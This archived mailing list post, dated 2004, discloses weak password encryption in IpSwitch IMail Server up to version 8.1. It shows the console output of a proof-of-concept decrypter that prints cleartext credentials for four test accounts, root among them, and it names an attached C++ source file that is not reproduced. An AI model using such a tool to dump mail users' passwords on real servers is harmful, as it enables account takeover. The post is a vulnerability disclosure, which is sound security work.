bugtraq - IpSwitch IMail Server <= ver 8.1 User Password Decryption

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <1092676733.4120ec7d5c7c1@www.hotmail.kg>
Date: Mon, 16 Aug 2004 23:18:53 +0600 (KGST)
From: Adik <netninja@...mail.kg>
To: full-disclosure@...ts.netsys.com
Cc: bugtraq@...urityfocus.com
Subject: IpSwitch IMail Server <= ver 8.1 User Password Decryption

Hi fellaz,

IpSwitch IMail Server version up to 8.1 uses weak encryption algorithm to 
encrypt its user passwords. Have a look at attached proof of concept tool, 
which will decrypt user password from local machine instantly.

---
G:\xploits\imail_decrypt>
G:\xploits\imail_decrypt>imailpwdump -d

	--= [ IpSwitch IMail Server User Password Decrypter ver 1.1] =--

		 (c) 2004 by Adik ( netmaniac [at] hotmail.KG )



 DOMAIN:	 [ 192.168.65.129 ]

 DOMAIN:	 [ win2k ]
------------------------------------------------------------------------
 FullName:	 aselka
 Email:		 aselka@...2k
 Username:	 aselka
 Password:	 p3ace
------------------------------------------------------------------------
 FullName:	 brazilia
 Email:		 brazilia@...2k
 Username:	 brazilia
 Password:	 mysupersecretpassword
------------------------------------------------------------------------
 FullName:	 networkadmin
 Email:		 networkadmin@...2k
 Username:	 networkadmin
 Password:	 c00l
------------------------------------------------------------------------
 FullName:	 System Administrator
 Email:		 root@...2k
 Username:	 root
 Password:	 password

	 Total:	 4 Accounts

 Total:	 1 Domains, 4 Accounts

---

ciao,

Adik

View attachment "Imailpwdump.cpp" of type "text/plain" (10141 bytes)